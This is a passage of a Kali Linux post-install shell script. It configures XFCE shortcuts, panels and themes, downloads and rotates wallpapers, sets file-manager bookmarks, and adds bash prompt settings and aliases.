  519.       <property name="&lt;Alt&gt;F7" type="string" value="move_window_key"/>
  520.       <property name="&lt;Alt&gt;F8" type="string" value="resize_window_key"/>
  521.       <property name="&lt;Alt&gt;F9" type="string" value="hide_window_key"/>
  522.       <property name="&lt;Alt&gt;Insert" type="string" value="add_workspace_key"/>
  523.       <property name="&lt;Alt&gt;space" type="string" value="popup_menu_key"/>
  524.       <property name="&lt;Alt&gt;Tab" type="string" value="cycle_windows_key"/>
  525.       <property name="&lt;Control&gt;&lt;Alt&gt;d" type="string" value="show_desktop_key"/>
  526.       <property name="&lt;Control&gt;&lt;Alt&gt;Down" type="string" value="down_workspace_key"/>
  527.       <property name="&lt;Control&gt;&lt;Alt&gt;Left" type="string" value="left_workspace_key"/>
  528.       <property name="&lt;Control&gt;&lt;Alt&gt;Right" type="string" value="right_workspace_key"/>
  529.       <property name="&lt;Control&gt;&lt;Alt&gt;Up" type="string" value="up_workspace_key"/>
  530.       <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Left" type="string" value="move_window_left_key"/>
  531.       <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Right" type="string" value="move_window_right_key"/>
  532.       <property name="&lt;Control&gt;&lt;Shift&gt;&lt;Alt&gt;Up" type="string" value="move_window_up_key"/>
  533.       <property name="&lt;Control&gt;F1" type="string" value="workspace_1_key"/>
  534.       <property name="&lt;Control&gt;F10" type="string" value="workspace_10_key"/>
  535.       <property name="&lt;Control&gt;F11" type="string" value="workspace_11_key"/>
  536.       <property name="&lt;Control&gt;F12" type="string" value="workspace_12_key"/>
  537.       <property name="&lt;Control&gt;F2" type="string" value="workspace_2_key"/>
  538.       <property name="&lt;Control&gt;F3" type="string" value="workspace_3_key"/>
  539.       <property name="&lt;Control&gt;F4" type="string" value="workspace_4_key"/>
  540.       <property name="&lt;Control&gt;F5" type="string" value="workspace_5_key"/>
  541.       <property name="&lt;Control&gt;F6" type="string" value="workspace_6_key"/>
  542.       <property name="&lt;Control&gt;F7" type="string" value="workspace_7_key"/>
  543.       <property name="&lt;Control&gt;F8" type="string" value="workspace_8_key"/>
  544.       <property name="&lt;Control&gt;F9" type="string" value="workspace_9_key"/>
  545.       <property name="&lt;Shift&gt;&lt;Alt&gt;Page_Down" type="string" value="lower_window_key"/>
  546.       <property name="&lt;Shift&gt;&lt;Alt&gt;Page_Up" type="string" value="raise_window_key"/>
  547.       <property name="&lt;Super&gt;Tab" type="string" value="switch_window_key"/>
  548.       <property name="Down" type="string" value="down_key"/>
  549.       <property name="Escape" type="string" value="cancel_key"/>
  550.       <property name="Left" type="string" value="left_key"/>
  551.       <property name="Right" type="string" value="right_key"/>
  552.       <property name="Up" type="string" value="up_key"/>
  553.       <property name="override" type="bool" value="true"/>
  554.       <property name="&lt;Super&gt;Left" type="string" value="tile_left_key"/>
  555.       <property name="&lt;Super&gt;Right" type="string" value="tile_right_key"/>
  556.       <property name="&lt;Super&gt;Up" type="string" value="maximize_window_key"/>
  557.     </property>
  558.   </property>
  559.   <property name="providers" type="array">
  560.     <value type="string" value="xfwm4"/>
  561.     <value type="string" value="commands"/>
  562.   </property>
  563. </channel>
  564. EOF
  565. #--- Configuring XFCE (Power Options)
  566. cat <<EOF > ~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-power-manager.xml \
  567.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  568. <?xml version="1.0" encoding="UTF-8"?>
  569.  
  570. <channel name="xfce4-power-manager" version="1.0">
  571.   <property name="xfce4-power-manager" type="empty">
  572.     <property name="power-button-action" type="empty"/>
  573.     <property name="dpms-enabled" type="bool" value="true"/>
  574.     <property name="blank-on-ac" type="int" value="0"/>
  575.     <property name="dpms-on-ac-sleep" type="uint" value="0"/>
  576.     <property name="dpms-on-ac-off" type="uint" value="0"/>
  577.   </property>
  578. </channel>
  579. EOF
  580. #--- Desktop files
  581. ln -sf /usr/share/applications/exo-terminal-emulator.desktop ~/.config/xfce4/panel/launcher-2/exo-terminal-emulator.desktop
  582. ln -sf /usr/share/applications/kali-wireshark.desktop        ~/.config/xfce4/panel/launcher-4/kali-wireshark.desktop
  583. ln -sf /usr/share/applications/firefox-esr.desktop           ~/.config/xfce4/panel/launcher-5/firefox-esr.desktop
  584. ln -sf /usr/share/applications/kali-burpsuite.desktop        ~/.config/xfce4/panel/launcher-6/kali-burpsuite.desktop
  585. ln -sf /usr/share/applications/kali-msfconsole.desktop       ~/.config/xfce4/panel/launcher-7/kali-msfconsole.desktop
  586. ln -sf /usr/share/applications/org.gnome.gedit.desktop       ~/.config/xfce4/panel/launcher-8/textedit.desktop
  587. ln -sf /usr/share/applications/xfce4-appfinder.desktop       ~/.config/xfce4/panel/launcher-9/xfce4-appfinder.desktop
  588. #--- XFCE settings
  589. _TMP=""
  590. [ "${burpFree}" != "false" ] \
  591.   && _TMP="-t int -s 6"
  592. xfconf-query -n -a -c xfce4-panel -p /panels -t int -s 0
  593. xfconf-query --create --channel xfce4-panel --property /panels/panel-0/plugin-ids \
  594.   -t int -s 1   -t int -s 2   -t int -s 3   -t int -s 4   -t int -s 5  ${_TMP}        -t int -s 7   -t int -s 8  -t int -s 9 \
  595.   -t int -s 10  -t int -s 11  -t int -s 13  -t int -s 15  -t int -s 16  -t int -s 17  -t int -s 19  -t int -s 20
  596. xfconf-query -n -c xfce4-panel -p /panels/panel-0/length -t int -s 100
  597. xfconf-query -n -c xfce4-panel -p /panels/panel-0/size -t int -s 30
  598. xfconf-query -n -c xfce4-panel -p /panels/panel-0/position -t string -s "p=6;x=0;y=0"
  599. xfconf-query -n -c xfce4-panel -p /panels/panel-0/position-locked -t bool -s true
  600. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1 -t string -s applicationsmenu     # application menu
  601. xfconf-query -n -c xfce4-panel -p /plugins/plugin-2 -t string -s launcher             # terminal   ID: exo-terminal-emulator
  602. xfconf-query -n -c xfce4-panel -p /plugins/plugin-3 -t string -s places               # places
  603. xfconf-query -n -c xfce4-panel -p /plugins/plugin-4 -t string -s launcher             # wireshark  ID: kali-wireshark
  604. xfconf-query -n -c xfce4-panel -p /plugins/plugin-5 -t string -s launcher             # firefox    ID: firefox-esr
  605. [ "${burpFree}" != "false" ] \
  606.   && xfconf-query -n -c xfce4-panel -p /plugins/plugin-6 -t string -s launcher        # burpsuite  ID: kali-burpsuite
  607. xfconf-query -n -c xfce4-panel -p /plugins/plugin-7 -t string -s launcher             # msf        ID: kali-msfconsole
  608. xfconf-query -n -c xfce4-panel -p /plugins/plugin-8 -t string -s launcher             # gedit      ID: org.gnome.gedit.desktop
  609. xfconf-query -n -c xfce4-panel -p /plugins/plugin-9 -t string -s launcher             # search     ID: xfce4-appfinder
  610. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10 -t string -s tasklist
  611. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11 -t string -s separator
  612. xfconf-query -n -c xfce4-panel -p /plugins/plugin-13 -t string -s mixer   # audio
  613. xfconf-query -n -c xfce4-panel -p /plugins/plugin-15 -t string -s systray
  614. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16 -t string -s actions
  615. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17 -t string -s clock
  616. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19 -t string -s pager
  617. xfconf-query -n -c xfce4-panel -p /plugins/plugin-20 -t string -s showdesktop
  618. #--- application menu
  619. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/show-tooltips -t bool -s true
  620. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/show-button-title -t bool -s false
  621. #--- terminal
  622. xfconf-query -n -c xfce4-panel -p /plugins/plugin-2/items -t string -s "exo-terminal-emulator.desktop" -a
  623. #--- places
  624. xfconf-query -n -c xfce4-panel -p /plugins/plugin-3/mount-open-volumes -t bool -s true
  625. #--- wireshark
  626. xfconf-query -n -c xfce4-panel -p /plugins/plugin-4/items -t string -s "kali-wireshark.desktop" -a
  627. #--- firefox
  628. xfconf-query -n -c xfce4-panel -p /plugins/plugin-5/items -t string -s "firefox-esr.desktop" -a
  629. #--- burp
  630. [ "${burpFree}" != "false" ] \
  631.   && xfconf-query -n -c xfce4-panel -p /plugins/plugin-6/items -t string -s "kali-burpsuite.desktop" -a
  632. #--- metasploit
  633. xfconf-query -n -c xfce4-panel -p /plugins/plugin-7/items -t string -s "kali-msfconsole.desktop" -a
  634. #--- gedit
  635. xfconf-query -n -c xfce4-panel -p /plugins/plugin-8/items -t string -s "textedit.desktop" -a
  636. #--- search
  637. xfconf-query -n -c xfce4-panel -p /plugins/plugin-9/items -t string -s "xfce4-appfinder.desktop" -a
  638. #--- tasklist (& separator - required for padding)
  639. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10/show-labels -t bool -s true
  640. xfconf-query -n -c xfce4-panel -p /plugins/plugin-10/show-handle -t bool -s false
  641. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11/style -t int -s 0
  642. xfconf-query -n -c xfce4-panel -p /plugins/plugin-11/expand -t bool -s true
  643. #--- systray
  644. xfconf-query -n -c xfce4-panel -p /plugins/plugin-15/show-frame -t bool -s false
  645. #--- actions
  646. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16/appearance -t int -s 1
  647. xfconf-query -n -c xfce4-panel -p /plugins/plugin-16/items \
  648.   -t string -s "+logout-dialog"  -t string -s "-switch-user"  -t string -s "-separator" \
  649.   -t string -s "-logout"  -t string -s "+lock-screen"  -t string -s "+hibernate"  -t string -s "+suspend"  -t string -s "+restart"  -t string -s "+shutdown"  -a
  650. #--- clock
  651. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/show-frame -t bool -s false
  652. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/mode -t int -s 2
  653. xfconf-query -n -c xfce4-panel -p /plugins/plugin-17/digital-format -t string -s "%R, %Y-%m-%d"
  654. #--- pager / workspace
  655. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19/miniature-view -t bool -s true
  656. xfconf-query -n -c xfce4-panel -p /plugins/plugin-19/rows -t int -s 1
  657. xfconf-query -n -c xfwm4 -p /general/workspace_count -t int -s 3
  658. #--- Theme options
  659. xfconf-query -n -c xsettings -p /Net/ThemeName -s "Kali-X"
  660. xfconf-query -n -c xsettings -p /Net/IconThemeName -s "Vibrancy-Kali"
  661. xfconf-query -n -c xsettings -p /Gtk/MenuImages -t bool -s true
  662. xfconf-query -n -c xfce4-panel -p /plugins/plugin-1/button-icon -t string -s "kali-menu"
  663. #--- Window management
  664. xfconf-query -n -c xfwm4 -p /general/snap_to_border -t bool -s true
  665. xfconf-query -n -c xfwm4 -p /general/snap_to_windows -t bool -s true
  666. xfconf-query -n -c xfwm4 -p /general/wrap_windows -t bool -s false
  667. xfconf-query -n -c xfwm4 -p /general/wrap_workspaces -t bool -s false
  668. xfconf-query -n -c xfwm4 -p /general/click_to_focus -t bool -s false
  669. xfconf-query -n -c xfwm4 -p /general/click_to_focus -t bool -s true
  670. #--- Hide icons
  671. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-filesystem -t bool -s false
  672. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-home -t bool -s false
  673. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-trash -t bool -s false
  674. xfconf-query -n -c xfce4-desktop -p /desktop-icons/file-icons/show-removable -t bool -s false
  675. #--- Start and exit values
  676. xfconf-query -n -c xfce4-session -p /splash/Engine -t string -s ""
  677. xfconf-query -n -c xfce4-session -p /shutdown/LockScreen -t bool -s true
  678. xfconf-query -n -c xfce4-session -p /general/SaveOnExit -t bool -s false
  679. #--- App Finder
  680. xfconf-query -n -c xfce4-appfinder -p /last/pane-position -t int -s 248
  681. xfconf-query -n -c xfce4-appfinder -p /last/window-height -t int -s 742
  682. xfconf-query -n -c xfce4-appfinder -p /last/window-width -t int -s 648
  683. #--- Enable compositing
  684. xfconf-query -n -c xfwm4 -p /general/use_compositing -t bool -s true
  685. xfconf-query -n -c xfwm4 -p /general/frame_opacity -t int -s 85
  686. #--- Remove "Mail Reader" from menu
  687. file=/usr/share/applications/exo-mail-reader.desktop   #; [ -e "${file}" ] && cp -n $file{,.bkup}
  688. sed -i 's/^NotShowIn=*/NotShowIn=XFCE;/; s/^OnlyShowIn=XFCE;/OnlyShowIn=/' "${file}"
  689. grep -q "NotShowIn=XFCE" "${file}" \
  690.   || echo "NotShowIn=XFCE;" >> "${file}"
  691. #--- XFCE for default applications
  692. mkdir -p ~/.local/share/applications/
  693. file=~/.local/share/applications/mimeapps.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  694. [ ! -e "${file}" ] \
  695.   && echo '[Added Associations]' > "${file}"
  696. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  697. #--- Firefox
  698. for VALUE in http https; do
  699.   sed -i 's#^x-scheme-handler/'${VALUE}'=.*#x-scheme-handler/'${VALUE}'=exo-web-browser.desktop#' "${file}"
  700.   grep -q '^x-scheme-handler/'${VALUE}'=' "${file}" 2>/dev/null \
  701.     || echo 'x-scheme-handler/'${VALUE}'=exo-web-browser.desktop' >> "${file}"
  702. done
  703. #--- Thunar
  704. for VALUE in file trash; do
  705.   sed -i 's#x-scheme-handler/'${VALUE}'=.*#x-scheme-handler/'${VALUE}'=exo-file-manager.desktop#' "${file}"
  706.   grep -q '^x-scheme-handler/'${VALUE}'=' "${file}" 2>/dev/null \
  707.     || echo 'x-scheme-handler/'${VALUE}'=exo-file-manager.desktop' >> "${file}"
  708. done
  709. file=~/.config/xfce4/helpers.rc; [ -e "${file}" ] && cp -n $file{,.bkup}
  710. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  711. sed -i 's#^FileManager=.*#FileManager=Thunar#' "${file}" 2>/dev/null
  712. grep -q '^FileManager=Thunar' "${file}" 2>/dev/null \
  713.   || echo 'FileManager=Thunar' >> "${file}"
  714. #--- Disable user folders in home folder
  715. file=/etc/xdg/user-dirs.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  716. sed -i 's/^XDG_/#XDG_/g; s/^#XDG_DESKTOP/XDG_DESKTOP/g;' "${file}"
  717. sed -i 's/^enable=.*/enable=False/' "${file}"
  718. find ~/ -maxdepth 1 -mindepth 1 -type d \
  719.   \( -name 'Documents' -o -name 'Music' -o -name 'Pictures' -o -name 'Public' -o -name 'Templates' -o -name 'Videos' \) -empty -delete
  720. apt -y -qq install xdg-user-dirs \
  721.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  722. xdg-user-dirs-update
  723. #--- Remove any old sessions
  724. rm -f ~/.cache/sessions/*
  725. #--- Set XFCE as default desktop manager
  726. update-alternatives --set x-session-manager /usr/bin/xfce4-session   #update-alternatives --config x-window-manager   #echo "xfce4-session" > ~/.xsession
  727.  
  728.  
  729. ##### Cosmetics (themes & wallpapers)
  730. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Cosmetics${RESET}${RESET} ~ Giving it a personal touch"
  731. export DISPLAY=:0.0
  732. #--- axiom / axiomd (May 18 2010) XFCE4 theme ~ http://xfce-look.org/content/show.php/axiom+xfwm?content=90145
  733. mkdir -p ~/.themes/
  734. timeout 300 curl --progress -k -L -f "https://dl.opendesktop.org/api/files/download/id/1461767736/90145-axiom.tar.gz" > /tmp/axiom.tar.gz \
  735.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading axiom.tar.gz" 1>&2    #***!!! hardcoded path!
  736. tar -zxf /tmp/axiom.tar.gz -C ~/.themes/
  737. xfconf-query -n -c xsettings -p /Net/ThemeName -s "axiomd"
  738. xfconf-query -n -c xsettings -p /Net/IconThemeName -s "Vibrancy-Kali-Dark"
  739. #--- Get new desktop wallpaper      (All are #***!!! hardcoded paths!)
  740. mkdir -p /usr/share/wallpapers/
  741. echo -n '[1/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_A.png" > /usr/share/wallpapers/kali_blue_3d_a.png \
  742.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_3d_a.png" 1>&2
  743. echo -n '[2/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_B.png" > /usr/share/wallpapers/kali_blue_3d_b.png \
  744.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_3d_b.png" 1>&2
  745. echo -n '[3/10]'; timeout 300 curl --progress -k -L -f "https://www.kali.org/images/wallpapers-01/kali-wp-june-2014_1920x1080_G.png" > /usr/share/wallpapers/kali_black_honeycomb.png \
  746.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_honeycomb.png" 1>&2
  747. echo -n '[4/10]'; timeout 300 curl --progress -k -L -f "https://lh5.googleusercontent.com/-CW1-qRVBiqc/U7ARd2T9LCI/AAAAAAAAAGw/oantfR6owSg/w1920-h1080/vzex.png" > /usr/share/wallpapers/kali_blue_splat.png \
  748.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_blue_splat.png" 1>&2
  749. echo -n '[5/10]'; timeout 300 curl --progress -k -L -f "http://wallpaperstock.net/kali-linux_wallpapers_39530_1920x1080.jpg" > /usr/share/wallpapers/kali-linux_wallpapers_39530.png \
  750.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali-linux_wallpapers_39530.png" 1>&2
  751. echo -n '[6/10]'; timeout 300 curl --progress -k -L -f "http://em3rgency.com/wp-content/uploads/2012/12/Kali-Linux-faded-no-Dragon-small-text.png" > /usr/share/wallpapers/kali_black_clean.png \
  752.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_clean.png" 1>&2
  753. #echo -n '[7/10]'; timeout 300 curl --progress -k -L -f "http://www.hdwallpapers.im/download/kali_linux-wallpaper.jpg" > /usr/share/wallpapers/kali_black_stripes.jpg \
  754. #  || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_black_stripes.jpg" 1>&2
  755. echo -n '[8/10]'; timeout 300 curl --progress -k -L -f "http://fc01.deviantart.net/fs71/f/2011/118/e/3/bt___edb_wallpaper_by_xxdigipxx-d3f4nxv.png" > /usr/share/wallpapers/kali_bt_edb.jpg \
  756.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_bt_edb.jpg" 1>&2
  757. echo -n '[9/10]'; timeout 300 curl --progress -k -L -f "http://pre07.deviantart.net/58d1/th/pre/i/2015/223/4/8/kali_2_0_alternate_wallpaper_by_xxdigipxx-d95800s.png" > /usr/share/wallpapers/kali_2_0_alternate_wallpaper.png \
  758.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_2_0_alternate_wallpaper.png" 1>&2
  759. echo -n '[10/10]'; timeout 300 curl --progress -k -L -f "http://pre01.deviantart.net/4210/th/pre/i/2015/195/3/d/kali_2_0__personal__wp_by_xxdigipxx-d91c8dq.png" > /usr/share/wallpapers/kali_2_0_personal.png \
  760.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading kali_2_0_personal.png" 1>&2
  761. _TMP="$(find /usr/share/wallpapers/ -maxdepth 1 -type f -name 'kali_*' | xargs -n1 file | grep -i 'HTML\|empty' | cut -d ':' -f1)"
  762. for FILE in $(echo ${_TMP}); do rm -f "${FILE}"; done
  763. #--- Kali 1 (Wallpaper)
  764. [ -e "/usr/share/wallpapers/kali_default-1440x900.jpg" ] \
  765.   && ln -sf /usr/share/wallpapers/kali/contents/images/1440x900.png /usr/share/wallpapers/kali_default-1440x900.jpg
  766. #--- Kali 2 (Login)
  767. [ -e "/usr/share/gnome-shell/theme/KaliLogin.png" ] \
  768.   && cp -f /usr/share/gnome-shell/theme/KaliLogin.png /usr/share/wallpapers/KaliLogin2.0-login.jpg
  769. #--- Kali 2 & Rolling (Wallpaper)
  770. [ -e "/usr/share/images/desktop-base/kali-wallpaper_1920x1080.png" ] \
  771.   && ln -sf /usr/share/images/desktop-base/kali-wallpaper_1920x1080.png /usr/share/wallpapers/kali_default2.0-1920x1080.jpg
  772. #--- New wallpaper & add to startup (so its random each login)
  773. mkdir -p /usr/local/bin/
  774. file=/usr/local/bin/rand-wallpaper; [ -e "${file}" ] && cp -n $file{,.bkup}
  775. cat <<EOF > "${file}" \
  776.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  777. #!/bin/bash
  778.  
  779. wallpaper="\$(shuf -n1 -e \$(find /usr/share/wallpapers/ -maxdepth 1 -name 'kali_*'))"
  780.  
  781. ## XFCE - Desktop wallpaper
  782. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/image-show -t bool -s true
  783. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -t string -s "\${wallpaper}"
  784. /usr/bin/xfconf-query -n -c xfce4-desktop -p /backdrop/screen0/monitor0/workspace0/last-image -t string -s "\${wallpaper}"
  785.  
  786. ## GNOME - Desktop wallpaper
  787. #[[ $(which gnome-shell) ]] \
  788. #  && dconf write /org/gnome/desktop/background/picture-uri "'file://\${wallpaper}'"
  789.  
  790. ## Change lock wallpaper (before swipe) - kali 2 & rolling
  791. /usr/bin/dconf write /org/gnome/desktop/screensaver/picture-uri "'file://\${wallpaper}'"
  792.  
  793. ## Change login wallpaper (after swipe) - kali 2
  794. #cp -f "\${wallpaper}" /usr/share/gnome-shell/theme/KaliLogin.png
  795.  
  796. /usr/bin/xfdesktop --reload 2>/dev/null &
  797. EOF
  798. chmod -f 0500 "${file}"
  799. #--- Run now
  800. bash "${file}"
  801. #--- Add to startup
  802. mkdir -p ~/.config/autostart/
  803. file=~/.config/autostart/wallpaper.desktop; [ -e "${file}" ] && cp -n $file{,.bkup}
  804. cat <<EOF > "${file}" \
  805.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  806. [Desktop Entry]
  807. Type=Application
  808. Exec=/usr/local/bin/rand-wallpaper
  809. Hidden=false
  810. NoDisplay=false
  811. X-GNOME-Autostart-enabled=true
  812. Name=wallpaper
  813. EOF
  814.  
  815.  
  816. ##### Configure file   Note: need to restart xserver for effect
  817. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}file${RESET} (Nautilus/Thunar) ~ GUI file system navigation"
  818. #--- Settings
  819. mkdir -p ~/.config/gtk-2.0/
  820. file=~/.config/gtk-2.0/gtkfilechooser.ini; [ -e "${file}" ] && cp -n $file{,.bkup}
  821. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  822. sed -i 's/^.*ShowHidden.*/ShowHidden=true/' "${file}" 2>/dev/null \
  823.   || cat <<EOF > "${file}"
  824. [Filechooser Settings]
  825. LocationMode=path-bar
  826. ShowHidden=true
  827. ExpandFolders=false
  828. ShowSizeColumn=true
  829. GeometryX=66
  830. GeometryY=39
  831. GeometryWidth=780
  832. GeometryHeight=618
  833. SortColumn=name
  834. SortOrder=ascending
  835. EOF
  836. dconf write /org/gnome/nautilus/preferences/show-hidden-files true
  837. #--- Bookmarks
  838. file=/root/.gtk-bookmarks; [ -e "${file}" ] && cp -n $file{,.bkup}
  839. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  840. grep -q '^file:///root/Downloads ' "${file}" 2>/dev/null \
  841.   || echo 'file:///root/Downloads Downloads' >> "${file}"
  842. (dmidecode | grep -iq vmware) \
  843.   && (mkdir -p /mnt/hgfs/ 2>/dev/null; grep -q '^file:///mnt/hgfs ' "${file}" 2>/dev/null \
  844.     || echo 'file:///mnt/hgfs VMShare' >> "${file}")
  845. grep -q '^file:///tmp ' "${file}" 2>/dev/null \
  846.   || echo 'file:///tmp /TMP' >> "${file}"
  847. grep -q '^file:///usr/share ' "${file}" 2>/dev/null \
  848.   || echo 'file:///usr/share Kali Tools' >> "${file}"
  849. grep -q '^file:///opt ' "${file}" 2>/dev/null \
  850.   || echo 'file:///opt /opt' >> "${file}"
  851. grep -q '^file:///usr/local/src ' "${file}" 2>/dev/null \
  852.   || echo 'file:///usr/local/src SRC' >> "${file}"
  853. grep -q '^file:///var/ftp ' "${file}" 2>/dev/null \
  854.   || echo 'file:///var/ftp FTP' >> "${file}"
  855. grep -q '^file:///var/samba ' "${file}" 2>/dev/null \
  856.   || echo 'file:///var/samba Samba' >> "${file}"
  857. grep -q '^file:///var/tftp ' "${file}" 2>/dev/null \
  858.   || echo 'file:///var/tftp TFTP' >> "${file}"
  859. grep -q '^file:///var/www/html ' "${file}" 2>/dev/null \
  860.   || echo 'file:///var/www/html WWW' >> "${file}"
  861. #--- Configure file browser - Thunar (need to re-login for effect)
  862. mkdir -p ~/.config/Thunar/
  863. file=~/.config/Thunar/thunarrc; [ -e "${file}" ] && cp -n $file{,.bkup}
  864. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  865. sed -i 's/LastShowHidden=.*/LastShowHidden=TRUE/' "${file}" 2>/dev/null \
  866.   || echo -e "[Configuration]\nLastShowHidden=TRUE" > "${file}"
  867.  
  868.  
  869. ##### Configure GNOME terminal   Note: need to restart xserver for effect
  870. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring GNOME ${GREEN}terminal${RESET} ~ CLI interface"
  871. gconftool-2 -t bool -s /apps/gnome-terminal/profiles/Default/scrollback_unlimited true
  872. gconftool-2 -t string -s /apps/gnome-terminal/profiles/Default/background_type transparent
  873. gconftool-2 -t string -s /apps/gnome-terminal/profiles/Default/background_darkness 0.85611499999999996
  874.  
  875.  
  876. ##### Configure bash - all users
  877. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}bash${RESET} ~ CLI shell"
  878. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  879. grep -q "cdspell" "${file}" \
  880.   || echo "shopt -sq cdspell" >> "${file}"             # Spell check 'cd' commands
  881. grep -q "autocd" "${file}" \
  882.  || echo "shopt -s autocd" >> "${file}"                # So you don't have to 'cd' before a folder
  883. #grep -q "CDPATH" "${file}" \
  884. # || echo "CDPATH=/etc:/usr/share/:/opt" >> "${file}"  # Always CD into these folders
  885. grep -q "checkwinsize" "${file}" \
  886.  || echo "shopt -sq checkwinsize" >> "${file}"         # Wrap lines correctly after resizing
  887. grep -q "nocaseglob" "${file}" \
  888.  || echo "shopt -sq nocaseglob" >> "${file}"           # Case insensitive pathname expansion
  889. grep -q "HISTSIZE" "${file}" \
  890.  || echo "HISTSIZE=10000" >> "${file}"                 # Bash history (memory scroll back)
  891. grep -q "HISTFILESIZE" "${file}" \
  892.  || echo "HISTFILESIZE=10000" >> "${file}"             # Bash history (file .bash_history)
  893. #--- Apply new configs
  894. source "${file}" || source ~/.zshrc
  895.  
  896.  
  897. ##### Install bash colour - all users
  898. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bash colour${RESET} ~ colours shell output"
  899. file=/etc/bash.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}   #~/.bashrc
  900. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  901. sed -i 's/.*force_color_prompt=.*/force_color_prompt=yes/' "${file}"
  902. grep -q '^force_color_prompt' "${file}" 2>/dev/null \
  903.   || echo 'force_color_prompt=yes' >> "${file}"
  904. sed -i 's#PS1='"'"'.*'"'"'#PS1='"'"'${debian_chroot:+($debian_chroot)}\\[\\033\[01;31m\\]\\u@\\h\\\[\\033\[00m\\]:\\[\\033\[01;34m\\]\\w\\[\\033\[00m\\]\\$ '"'"'#' "${file}"
  905. grep -q "^export LS_OPTIONS='--color=auto'" "${file}" 2>/dev/null \
  906.   || echo "export LS_OPTIONS='--color=auto'" >> "${file}"
  907. grep -q '^eval "$(dircolors)"' "${file}" 2>/dev/null \
  908.   || echo 'eval "$(dircolors)"' >> "${file}"
  909. grep -q "^alias ls='ls $LS_OPTIONS'" "${file}" 2>/dev/null \
  910.   || echo "alias ls='ls $LS_OPTIONS'" >> "${file}"
  911. grep -q "^alias ll='ls $LS_OPTIONS -l'" "${file}" 2>/dev/null \
  912.   || echo "alias ll='ls $LS_OPTIONS -l'" >> "${file}"
  913. grep -q "^alias l='ls $LS_OPTIONS -lA'" "${file}" 2>/dev/null \
  914.   || echo "alias l='ls $LS_OPTIONS -lA'" >> "${file}"
  915. #--- All other users that are made afterwards
  916. file=/etc/skel/.bashrc   #; [ -e "${file}" ] && cp -n $file{,.bkup}
  917. sed -i 's/.*force_color_prompt=.*/force_color_prompt=yes/' "${file}"
  918. #--- Apply new configs
  919. source "${file}" || source ~/.zshrc
  920.  
  921.  
  922. ##### Install grc
  923. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}grc${RESET} ~ colours shell output"
  924. apt -y -qq install grc \
  925.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  926. #--- Setup aliases
  927. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  928. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  929. grep -q '^## grc diff alias' "${file}" 2>/dev/null \
  930.   || echo -e "## grc diff alias\nalias diff='$(which grc) $(which diff)'\n" >> "${file}"
  931. grep -q '^## grc dig alias' "${file}" 2>/dev/null \
